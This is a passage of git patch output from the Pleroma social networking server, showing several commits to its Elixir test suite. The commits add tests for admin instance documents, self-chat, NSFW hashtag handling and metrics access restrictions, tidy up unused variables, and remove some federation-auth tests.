a/test/web/admin_api/controllers/instance_document_controller_test.exs b/test/web/admin_api/controllers/instance_document_controller_test.exs new file mode 100644 index 000000000..5f7b042f6 --- /dev/null +++ b/test/web/admin_api/controllers/instance_document_controller_test.exs @@ -0,0 +1,106 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do + use Pleroma.Web.ConnCase, async: true + import Pleroma.Factory + alias Pleroma.Config + + @dir "test/tmp/instance_static" + @default_instance_panel ~s(<p>Welcome to <a href="https://pleroma.social" target="_blank">Pleroma!</a></p>) + + setup do + File.mkdir_p!(@dir) + on_exit(fn -> File.rm_rf(@dir) end) + end + + setup do: clear_config([:instance, :static_dir], @dir) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/instance_document/:name" do + test "return the instance document url", %{conn: conn} do + conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") + + assert content = html_response(conn, 200) + assert String.contains?(content, @default_instance_panel) + end + + test "it returns 403 if requested by a non-admin" do + non_admin_user = insert(:user) + token = insert(:oauth_token, user: non_admin_user) + + conn = + build_conn() + |> assign(:user, non_admin_user) + |> assign(:token, token) + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert json_response(conn, :forbidden) + end + + test "it returns 404 if the instance document with the given name doesn't exist", %{ + conn: conn + } do + conn = get(conn, "/api/pleroma/admin/instance_document/1234") + + assert json_response_and_validate_schema(conn, 404) + end + end + + describe "PATCH /api/pleroma/admin/instance_document/:name" do + test "uploads the instance document", %{conn: conn} do + image = %Plug.Upload{ + content_type: "text/html", + path: Path.absname("test/fixtures/custom_instance_panel.html"), + filename: "custom_instance_panel.html" + } + + conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/admin/instance_document/instance-panel", %{ + "file" => image + }) + + assert %{"url" => url} = json_response_and_validate_schema(conn, 200) + index = get(build_conn(), url) + assert html_response(index, 200) == "<h2>Custom instance panel</h2>" + end + end + + describe "DELETE /api/pleroma/admin/instance_document/:name" do + test "deletes the instance document", %{conn: conn} do + File.mkdir!(@dir <> "/instance/") + File.write!(@dir <> "/instance/panel.html", "Custom instance panel") + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert html_response(conn_resp, 200) == "Custom instance panel" + + conn + |> delete("/api/pleroma/admin/instance_document/instance-panel") + |> json_response_and_validate_schema(200) + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert content = html_response(conn_resp, 200) + assert String.contains?(content, @default_instance_panel) + end + end +end -- cgit v1.2.3 From 6c8469664a08d2cd02bd8e6d998d8e2d5f07dac5 Mon Sep 17 00:00:00 2001 From: feld <feld@feld.me> Date: Thu, 22 Oct 2020 20:33:52 +0000 Subject: Merge branch 'chore/elixir-1.11' into 'develop' Elixir 1.11 compatibility / Phoenix 1.5+ See merge request pleroma/pleroma!3059 --- test/pleroma/notification_test.exs | 2 +- test/pleroma/web/activity_pub/activity_pub_test.exs | 8 ++++---- .../web/activity_pub/mrf/reject_non_public_test.exs | 8 ++++---- test/pleroma/web/activity_pub/mrf/tag_policy_test.exs | 2 +- .../activity_pub/transmogrifier/announce_handling_test.exs | 2 +- test/pleroma/web/activity_pub/transmogrifier_test.exs | 2 +- test/pleroma/web/common_api_test.exs | 2 +- test/pleroma/web/fed_sockets/fed_registry_test.exs | 4 ++-- .../mastodon_api/controllers/account_controller_test.exs | 8 ++++---- .../mastodon_api/controllers/status_controller_test.exs | 2 +- test/pleroma/web/o_auth/o_auth_controller_test.exs | 14 +++++++------- .../pleroma_api/controllers/emoji_pack_controller_test.exs | 2 +- .../web/pleroma_api/controllers/mascot_controller_test.exs | 2 +- test/support/channel_case.ex | 2 +- test/support/conn_case.ex | 3 ++- 15 files changed, 32 insertions(+), 31 deletions(-) (limited to 'test') diff --git a/test/pleroma/notification_test.exs b/test/pleroma/notification_test.exs index 0e9630f28..a74fb7bc2 100644 --- a/test/pleroma/notification_test.exs +++ b/test/pleroma/notification_test.exs @@ -400,7 +400,7 @@ defmodule Pleroma.NotificationTest do user = insert(:user, is_locked: true) follower = insert(:user) {:ok, _, _, _follow_activity} = CommonAPI.follow(follower, user) - assert [notification] = Notification.for_user(user) + assert [_notification] = Notification.for_user(user) {:ok, _follower} = CommonAPI.reject_follow_request(follower, user) assert [] = Notification.for_user(user) end diff --git a/test/pleroma/web/activity_pub/activity_pub_test.exs b/test/pleroma/web/activity_pub/activity_pub_test.exs index 1a8a844ca..9200aef65 100644 --- a/test/pleroma/web/activity_pub/activity_pub_test.exs +++ b/test/pleroma/web/activity_pub/activity_pub_test.exs @@ -505,22 +505,22 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubTest do # public {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "public")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert %{data: _data, object: object} = Activity.get_by_ap_id_with_object(ap_id) assert object.data["repliesCount"] == 1 # unlisted {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "unlisted")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert %{data: _data, object: object} = Activity.get_by_ap_id_with_object(ap_id) assert object.data["repliesCount"] == 2 # private {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "private")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert %{data: _data, object: object} = Activity.get_by_ap_id_with_object(ap_id) assert object.data["repliesCount"] == 2 # direct {:ok, _} = CommonAPI.post(user2, Map.put(reply_data, :visibility, "direct")) - assert %{data: data, object: object} = Activity.get_by_ap_id_with_object(ap_id) + assert %{data: _data, object: object} = Activity.get_by_ap_id_with_object(ap_id) assert object.data["repliesCount"] == 2 end end diff --git a/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs b/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs index 58b46b9a2..e08eb3ba6 100644 --- a/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs +++ b/test/pleroma/web/activity_pub/mrf/reject_non_public_test.exs @@ -21,7 +21,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.RejectNonPublicTest do "type" => "Create" } - assert {:ok, message} = RejectNonPublic.filter(message) + assert {:ok, _message} = RejectNonPublic.filter(message) end test "it's allowed when cc address contain public address" do @@ -34,7 +34,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.RejectNonPublicTest do "type" => "Create" } - assert {:ok, message} = RejectNonPublic.filter(message) + assert {:ok, _message} = RejectNonPublic.filter(message) end end @@ -50,7 +50,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.RejectNonPublicTest do } Pleroma.Config.put([:mrf_rejectnonpublic, :allow_followersonly], true) - assert {:ok, message} = RejectNonPublic.filter(message) + assert {:ok, _message} = RejectNonPublic.filter(message) end test "it's rejected when addrer of message in the follower addresses of user and it disabled in config" do @@ -80,7 +80,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.RejectNonPublicTest do } Pleroma.Config.put([:mrf_rejectnonpublic, :allow_direct], true) - assert {:ok, message} = RejectNonPublic.filter(message) + assert {:ok, _message} = RejectNonPublic.filter(message) end test "it's reject when direct messages aren't allow" do diff --git a/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs b/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs index 6ff71d640..ffc30ba62 100644 --- a/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs +++ b/test/pleroma/web/activity_pub/mrf/tag_policy_test.exs @@ -29,7 +29,7 @@ defmodule Pleroma.Web.ActivityPub.MRF.TagPolicyTest do actor = insert(:user, tags: ["mrf_tag:disable-remote-subscription"]) follower = insert(:user, tags: ["mrf_tag:disable-remote-subscription"], local: true) message = %{"object" => actor.ap_id, "type" => "Follow", "actor" => follower.ap_id} - assert {:ok, message} = TagPolicy.filter(message) + assert {:ok, _message} = TagPolicy.filter(message) end end diff --git a/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs index e895636b5..54335acdb 100644 --- a/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier/announce_handling_test.exs @@ -144,7 +144,7 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier.AnnounceHandlingTest do _user = insert(:user, local: false, ap_id: data["actor"]) - assert {:error, e} = Transmogrifier.handle_incoming(data) + assert {:error, _e} = Transmogrifier.handle_incoming(data) end test "it does not clobber the addressing on announce activities" do diff --git a/test/pleroma/web/activity_pub/transmogrifier_test.exs b/test/pleroma/web/activity_pub/transmogrifier_test.exs index 561674f01..4547c84b7 100644 --- a/test/pleroma/web/activity_pub/transmogrifier_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier_test.exs @@ -101,7 +101,7 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do {:ok, returned_activity} = Transmogrifier.handle_incoming(data) returned_object = Object.normalize(returned_activity, false) - assert activity = + assert %Activity{} = Activity.get_create_by_object_ap_id( "https://mstdn.io/users/mayuutann/statuses/99568293732299394" ) diff --git a/test/pleroma/web/common_api_test.exs b/test/pleroma/web/common_api_test.exs index f5d09f396..64476a099 100644 --- a/test/pleroma/web/common_api_test.exs +++ b/test/pleroma/web/common_api_test.exs @@ -622,7 +622,7 @@ defmodule Pleroma.Web.CommonAPITest do assert {:error, "The status is over the character limit"} = CommonAPI.post(user, %{status: "foobar"}) - assert {:ok, activity} = CommonAPI.post(user, %{status: "12345"}) + assert {:ok, _activity} = CommonAPI.post(user, %{status: "12345"}) end test "it can handle activities that expire" do diff --git a/test/pleroma/web/fed_sockets/fed_registry_test.exs b/test/pleroma/web/fed_sockets/fed_registry_test.exs index 19ac874d6..73aaced46 100644 --- a/test/pleroma/web/fed_sockets/fed_registry_test.exs +++ b/test/pleroma/web/fed_sockets/fed_registry_test.exs @@ -52,7 +52,7 @@ defmodule Pleroma.Web.FedSockets.FedRegistryTest do end test "will be ignored" do - assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + assert {:ok, %SocketInfo{origin: origin, pid: _pid_one}} = FedRegistry.get_fed_socket(@good_domain_origin) assert origin == "good.domain:80" @@ -63,7 +63,7 @@ defmodule Pleroma.Web.FedSockets.FedRegistryTest do test "the newer process will be closed" do pid_two = build_test_socket(@good_domain) - assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + assert {:ok, %SocketInfo{origin: origin, pid: _pid_one}} = FedRegistry.get_fed_socket(@good_domain_origin) assert origin == "good.domain:80" diff --git a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs index 7336fa8de..dcc0c81ec 100644 --- a/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/account_controller_test.exs @@ -32,7 +32,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do test "works by nickname" do user = insert(:user) - assert %{"id" => user_id} = + assert %{"id" => _user_id} = build_conn() |> get("/api/v1/accounts/#{user.nickname}") |> json_response_and_validate_schema(200) @@ -43,7 +43,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do user = insert(:user, nickname: "user@example.com", local: false) - assert %{"id" => user_id} = + assert %{"id" => _user_id} = build_conn() |> get("/api/v1/accounts/#{user.nickname}") |> json_response_and_validate_schema(200) @@ -1429,10 +1429,10 @@ defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do test "returns lists to which the account belongs" do %{user: user, conn: conn} = oauth_access(["read:lists"]) other_user = insert(:user) - assert {:ok, %Pleroma.List{id: list_id} = list} = Pleroma.List.create("Test List", user) + assert {:ok, %Pleroma.List{id: _list_id} = list} = Pleroma.List.create("Test List", user) {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user) - assert [%{"id" => list_id, "title" => "Test List"}] = + assert [%{"id" => _list_id, "title" => "Test List"}] = conn |> get("/api/v1/accounts/#{other_user.id}/lists") |> json_response_and_validate_schema(200) diff --git a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs index 61359214a..436608e51 100644 --- a/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs +++ b/test/pleroma/web/mastodon_api/controllers/status_controller_test.exs @@ -937,7 +937,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do |> get("/api/v1/statuses/#{reblog_activity1.id}") assert %{ - "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2}, + "reblog" => %{"id" => _id, "reblogged" => false, "reblogs_count" => 2}, "reblogged" => false, "favourited" => false, "bookmarked" => false diff --git a/test/pleroma/web/o_auth/o_auth_controller_test.exs b/test/pleroma/web/o_auth/o_auth_controller_test.exs index 1200126b8..a00df8cc7 100644 --- a/test/pleroma/web/o_auth/o_auth_controller_test.exs +++ b/test/pleroma/web/o_auth/o_auth_controller_test.exs @@ -77,7 +77,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do } ) - assert response = html_response(conn, 302) + assert html_response(conn, 302) redirect_query = URI.parse(redirected_to(conn)).query assert %{"state" => state_param} = URI.decode_query(redirect_query) @@ -119,7 +119,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do } ) - assert response = html_response(conn, 302) + assert html_response(conn, 302) assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ end @@ -182,7 +182,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do } ) - assert response = html_response(conn, 302) + assert html_response(conn, 302) assert redirected_to(conn) == app.redirect_uris assert get_flash(conn, :error) == "Failed to authenticate: (error description)." end @@ -238,7 +238,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do } ) - assert response = html_response(conn, 302) + assert html_response(conn, 302) assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ end @@ -268,7 +268,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do } ) - assert response = html_response(conn, 401) + assert html_response(conn, 401) end test "with invalid params, POST /oauth/register?op=register renders registration_details page", @@ -336,7 +336,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do } ) - assert response = html_response(conn, 302) + assert html_response(conn, 302) assert redirected_to(conn) =~ ~r/#{redirect_uri}\?code=.+/ end @@ -367,7 +367,7 @@ defmodule Pleroma.Web.OAuth.OAuthControllerTest do } ) - assert response = html_response(conn, 401) + assert html_response(conn, 401) end test "with invalid params, POST /oauth/register?op=connect renders registration_details page", diff --git a/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs index 386ad8634..3445f0ca0 100644 --- a/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs +++ b/test/pleroma/web/pleroma_api/controllers/emoji_pack_controller_test.exs @@ -569,7 +569,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiPackControllerTest do test "for pack name with special chars", %{conn: conn} do assert %{ - "files" => files, + "files" => _files, "files_count" => 1, "pack" => %{ "can-download" => true, diff --git a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs index d6be92869..289119d45 100644 --- a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs +++ b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs @@ -34,7 +34,7 @@ defmodule Pleroma.Web.PleromaAPI.MascotControllerTest do |> put_req_header("content-type", "multipart/form-data") |> put("/api/v1/pleroma/mascot", %{"file" => file}) - assert %{"id" => _, "type" => image} = json_response_and_validate_schema(conn, 200) + assert %{"id" => _, "type" => _image} = json_response_and_validate_schema(conn, 200) end test "mascot retrieving" do diff --git a/test/support/channel_case.ex b/test/support/channel_case.ex index d63a0f06b..114184a9f 100644 --- a/test/support/channel_case.ex +++ b/test/support/channel_case.ex @@ -22,7 +22,7 @@ defmodule Pleroma.Web.ChannelCase do using do quote do # Import conveniences for testing with channels - use Phoenix.ChannelTest + import Phoenix.ChannelTest use Pleroma.Tests.Helpers # The default endpoint for testing diff --git a/test/support/conn_case.ex b/test/support/conn_case.ex index 7ef681258..9316a82e4 100644 --- a/test/support/conn_case.ex +++ b/test/support/conn_case.ex @@ -22,7 +22,8 @@ defmodule Pleroma.Web.ConnCase do using do quote do # Import conveniences for testing with connections - use Phoenix.ConnTest + import Plug.Conn + import Phoenix.ConnTest use Pleroma.Tests.Helpers import Pleroma.Web.Router.Helpers -- cgit v1.2.3 From 7058cac1c2eeb46ef6e95b6af863c931f8d38f06 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Thu, 22 Oct 2020 10:56:17 +0000 Subject: Merge branch '2257-self-chat' into 'develop' Resolve "Can't message yourself in a chat (but can start it)" Closes #2257 See merge request pleroma/pleroma!3099 --- test/pleroma/web/common_api_test.exs | 14 ++++++++++++++ 1 file changed, 14 insertions(+) (limited to 'test') diff --git a/test/pleroma/web/common_api_test.exs b/test/pleroma/web/common_api_test.exs index 64476a099..c5b90ad84 100644 --- a/test/pleroma/web/common_api_test.exs +++ b/test/pleroma/web/common_api_test.exs @@ -95,6 +95,20 @@ defmodule Pleroma.Web.CommonAPITest do describe "posting chat messages" do setup do: clear_config([:instance, :chat_limit]) + test "it posts a self-chat" do + author = insert(:user) + recipient = author + + {:ok, activity} = + CommonAPI.post_chat_message( + author, + recipient, + "remember to buy milk when milk truk arive" + ) + + assert activity.data["type"] == "Create" + end + test "it posts a chat message without content but with an attachment" do author = insert(:user) recipient = insert(:user) -- cgit v1.2.3 From 88dc1d24b98a9cac9f740fcd12b38a2d7727a9c2 Mon Sep 17 00:00:00 2001 From: feld <feld@feld.me> Date: Wed, 28 Oct 2020 15:06:47 +0000 Subject: Merge branch 'issue/2261' into 'develop' [#2261] FrontStatic plug: excluded invalid url See merge request pleroma/pleroma!3106 --- .../pleroma/web/plugs/frontend_static_plug_test.exs | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) (limited to 'test') diff --git a/test/pleroma/web/plugs/frontend_static_plug_test.exs b/test/pleroma/web/plugs/frontend_static_plug_test.exs index f6f7d7bdb..8b7b022fc 100644 --- a/test/pleroma/web/plugs/frontend_static_plug_test.exs +++ b/test/pleroma/web/plugs/frontend_static_plug_test.exs @@ -4,6 +4,7 @@ defmodule Pleroma.Web.Plugs.FrontendStaticPlugTest do use Pleroma.Web.ConnCase + import Mock @dir "test/tmp/instance_static" @@ -53,4 +54,24 @@ defmodule Pleroma.Web.Plugs.FrontendStaticPlugTest do index = get(conn, "/pleroma/admin/") assert html_response(index, 200) == "from frontend plug" end + + test "exclude invalid path", %{conn: conn} do + name = "pleroma-fe" + ref = "dist" + clear_config([:media_proxy, :enabled], true) + clear_config([Pleroma.Web.Endpoint, :secret_key_base], "00000000000") + clear_config([:frontends, :primary], %{"name" => name, "ref" => ref}) + path = "#{@dir}/frontends/#{name}/#{ref}" + + File.mkdir_p!("#{path}/proxy/rr/ss") + File.write!("#{path}/proxy/rr/ss/Ek7w8WPVcAApOvN.jpg:large", "FB image") + + url = + Pleroma.Web.MediaProxy.encode_url("https://pbs.twimg.com/media/Ek7w8WPVcAApOvN.jpg:large") + + with_mock Pleroma.ReverseProxy, + call: fn _conn, _url, _opts -> %Plug.Conn{status: :success} end do + assert %Plug.Conn{status: :success} = get(conn, url) + end + end end -- cgit v1.2.3 From 5f27a39152cfee4746313ee8c63fb5f600fdb1a2 Mon Sep 17 00:00:00 2001 From: rinpatch <rinpatch@sdf.org> Date: Fri, 23 Oct 2020 19:39:42 +0000 Subject: Merge branch '2242-nsfw-case' into 'develop' Resolve "Posts tagged with #NSFW from GS aren't marked as sensitive" Closes #2242 See merge request pleroma/pleroma!3094 --- test/fixtures/mastodon-post-activity-nsfw.json | 68 ++++++++++++++++++++++ .../web/activity_pub/transmogrifier_test.exs | 10 ++++ 2 files changed, 78 insertions(+) create mode 100644 test/fixtures/mastodon-post-activity-nsfw.json (limited to 'test') diff --git a/test/fixtures/mastodon-post-activity-nsfw.json b/test/fixtures/mastodon-post-activity-nsfw.json new file mode 100644 index 000000000..70729a1bd --- /dev/null +++ b/test/fixtures/mastodon-post-activity-nsfw.json @@ -0,0 +1,68 @@ +{ + "@context": [ + "https://www.w3.org/ns/activitystreams", + "https://w3id.org/security/v1", + { + "Emoji": "toot:Emoji", + "Hashtag": "as:Hashtag", + "atomUri": "ostatus:atomUri", + "conversation": "ostatus:conversation", + "inReplyToAtomUri": "ostatus:inReplyToAtomUri", + "manuallyApprovesFollowers": "as:manuallyApprovesFollowers", + "movedTo": "as:movedTo", + "ostatus": "http://ostatus.org#", + "toot": "http://joinmastodon.org/ns#" + } + ], + "actor": "http://mastodon.example.org/users/admin", + "cc": [ + "http://mastodon.example.org/users/admin/followers", + "http://localtesting.pleroma.lol/users/lain" + ], + "id": "http://mastodon.example.org/users/admin/statuses/99512778738411822/activity", + "nickname": "lain", + "object": { + "atomUri": "http://mastodon.example.org/users/admin/statuses/99512778738411822", + "attachment": [], + "attributedTo": "http://mastodon.example.org/users/admin", + "cc": [ + "http://mastodon.example.org/users/admin/followers", + "http://localtesting.pleroma.lol/users/lain" + ], + "content": "<p><span class=\"h-card\"><a href=\"http://localtesting.pleroma.lol/users/lain\" class=\"u-url mention\">@<span>lain</span></a></span> #moo</p>", + "conversation": "tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation", + "id": "http://mastodon.example.org/users/admin/statuses/99512778738411822", + "inReplyTo": null, + "inReplyToAtomUri": null, + "published": "2018-02-12T14:08:20Z", + "summary": "cw", + "tag": [ + { + "href": "http://localtesting.pleroma.lol/users/lain", + "name": "@lain@localtesting.pleroma.lol", + "type": "Mention" + }, + { + "href": "http://mastodon.example.org/tags/nsfw", + "name": "#NSFW", + "type": "Hashtag" + } + ], + "to": [ + "https://www.w3.org/ns/activitystreams#Public" + ], + "type": "Note", + "url": "http://mastodon.example.org/@admin/99512778738411822" + }, + "published": "2018-02-12T14:08:20Z", + "signature": { + "created": "2018-02-12T14:08:20Z", + "creator": "http://mastodon.example.org/users/admin#main-key", + "signatureValue": "rnNfcopkc6+Ju73P806popcfwrK9wGYHaJVG1/ZvrlEbWVDzaHjkXqj9Q3/xju5l8CSn9tvSgCCtPFqZsFQwn/pFIFUcw7ZWB2xi4bDm3NZ3S4XQ8JRaaX7og5hFxAhWkGhJhAkfxVnOg2hG+w2d/7d7vRVSC1vo5ip4erUaA/PkWusZvPIpxnRWoXaxJsFmVx0gJgjpJkYDyjaXUlp+jmaoseeZ4EPQUWqHLKJ59PRG0mg8j2xAjYH9nQaN14qMRmTGPxY8gfv/CUFcatA+8VJU9KEsJkDAwLVvglydNTLGrxpAJU78a2eaht0foV43XUIZGe3DKiJPgE+UOKGCJw==", + "type": "RsaSignature2017" + }, + "to": [ + "https://www.w3.org/ns/activitystreams#Public" + ], + "type": "Create" +} diff --git a/test/pleroma/web/activity_pub/transmogrifier_test.exs b/test/pleroma/web/activity_pub/transmogrifier_test.exs index 4547c84b7..e39af1dfc 100644 --- a/test/pleroma/web/activity_pub/transmogrifier_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier_test.exs @@ -206,6 +206,16 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do assert user.note_count == 1 end + test "it works for incoming notices without the sensitive property but an nsfw hashtag" do + data = File.read!("test/fixtures/mastodon-post-activity-nsfw.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + object_data = Object.normalize(data["object"], false).data + + assert object_data["sensitive"] == true + end + test "it works for incoming notices with hashtags" do data = File.read!("test/fixtures/mastodon-post-activity-hashtag.json") |> Poison.decode!() -- cgit v1.2.3 From 86b4149a1350b23a122f3ea8e2ef79ab3e8785e1 Mon Sep 17 00:00:00 2001 From: feld <feld@feld.me> Date: Tue, 27 Oct 2020 17:47:56 +0000 Subject: Merge branch '1668-prometheus-access-restrictions' into 'develop' [#1668] App metrics endpoint (Prometheus) access restrictions Closes #1668 See merge request pleroma/pleroma!3093 --- .../pleroma/web/endpoint/metrics_exporter_test.exs | 69 ++++++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 test/pleroma/web/endpoint/metrics_exporter_test.exs (limited to 'test') diff --git a/test/pleroma/web/endpoint/metrics_exporter_test.exs b/test/pleroma/web/endpoint/metrics_exporter_test.exs new file mode 100644 index 000000000..f954cc1e7 --- /dev/null +++ b/test/pleroma/web/endpoint/metrics_exporter_test.exs @@ -0,0 +1,69 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Endpoint.MetricsExporterTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.Endpoint.MetricsExporter + + defp config do + Application.get_env(:prometheus, MetricsExporter) + end + + describe "with default config" do + test "does NOT expose app metrics", %{conn: conn} do + conn + |> get(config()[:path]) + |> json_response(404) + end + end + + describe "when enabled" do + setup do + initial_config = config() + on_exit(fn -> Application.put_env(:prometheus, MetricsExporter, initial_config) end) + + Application.put_env( + :prometheus, + MetricsExporter, + Keyword.put(initial_config, :enabled, true) + ) + end + + test "serves app metrics", %{conn: conn} do + conn = get(conn, config()[:path]) + assert response = response(conn, 200) + + for metric <- [ + "http_requests_total", + "http_request_duration_microseconds", + "phoenix_controller_render_duration", + "phoenix_controller_call_duration", + "telemetry_scrape_duration", + "erlang_vm_memory_atom_bytes_total" + ] do + assert response =~ ~r/#{metric}/ + end + end + + test "when IP whitelist configured, " <> + "serves app metrics only if client IP is whitelisted", + %{conn: conn} do + Application.put_env( + :prometheus, + MetricsExporter, + Keyword.put(config(), :ip_whitelist, ["127.127.127.127", {1, 1, 1, 1}, '255.255.255.255']) + ) + + conn + |> get(config()[:path]) + |> json_response(404) + + conn + |> Map.put(:remote_ip, {127, 127, 127, 127}) + |> get(config()[:path]) + |> response(200) + end + end +end -- cgit v1.2.3 From 48f7e12e6c139e9cfc8e68b4eaf1695019c9d246 Mon Sep 17 00:00:00 2001 From: feld <feld@feld.me> Date: Wed, 28 Oct 2020 18:08:51 +0000 Subject: Merge branch 'ostatus-controller-no-auth-check-on-non-federating-instances' into 'develop' OStatus / Static FE access control fixes See merge request pleroma/pleroma!3053 --- .../activity_pub/activity_pub_controller_test.exs | 48 ---------------------- test/pleroma/web/feed/tag_controller_test.exs | 13 +++--- test/pleroma/web/feed/user_controller_test.exs | 12 +++++- .../web/o_status/o_status_controller_test.exs | 24 ++++++----- .../web/static_fe/static_fe_controller_test.exs | 47 ++++++++++++++++++--- test/support/conn_case.ex | 22 ---------- 6 files changed, 71 insertions(+), 95 deletions(-) (limited to 'test') diff --git a/test/pleroma/web/activity_pub/activity_pub_controller_test.exs b/test/pleroma/web/activity_pub/activity_pub_controller_test.exs index b11e2f961..b696a24f4 100644 --- a/test/pleroma/web/activity_pub/activity_pub_controller_test.exs +++ b/test/pleroma/web/activity_pub/activity_pub_controller_test.exs @@ -156,21 +156,6 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do assert response == "Not found" end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - - conn = - put_req_header( - conn, - "accept", - "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" - ) - - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}.json", user) - end end describe "mastodon compatibility routes" do @@ -338,18 +323,6 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do assert "Not found" == json_response(conn2, :not_found) end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - note = insert(:note) - uuid = String.split(note.data["id"], "/") |> List.last() - - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/objects/#{uuid}", user) - end end describe "/activities/:uuid" do @@ -421,18 +394,6 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do assert "Not found" == json_response(conn2, :not_found) end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - activity = insert(:note_activity) - uuid = String.split(activity.data["id"], "/") |> List.last() - - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/activities/#{uuid}", user) - end end describe "/inbox" do @@ -893,15 +854,6 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubControllerTest do assert response(conn, 200) =~ announce_activity.data["object"] end - - test "it requires authentication if instance is NOT federating", %{ - conn: conn - } do - user = insert(:user) - conn = put_req_header(conn, "accept", "application/activity+json") - - ensure_federating_or_authenticated(conn, "/users/#{user.nickname}/outbox", user) - end end describe "POST /users/:nickname/outbox (C2S)" do diff --git a/test/pleroma/web/feed/tag_controller_test.exs b/test/pleroma/web/feed/tag_controller_test.exs index 868e40965..e4084b0e5 100644 --- a/test/pleroma/web/feed/tag_controller_test.exs +++ b/test/pleroma/web/feed/tag_controller_test.exs @@ -8,6 +8,7 @@ defmodule Pleroma.Web.Feed.TagControllerTest do import Pleroma.Factory import SweetXml + alias Pleroma.Config alias Pleroma.Object alias Pleroma.Web.CommonAPI alias Pleroma.Web.Feed.FeedView @@ -15,7 +16,7 @@ defmodule Pleroma.Web.Feed.TagControllerTest do setup do: clear_config([:feed]) test "gets a 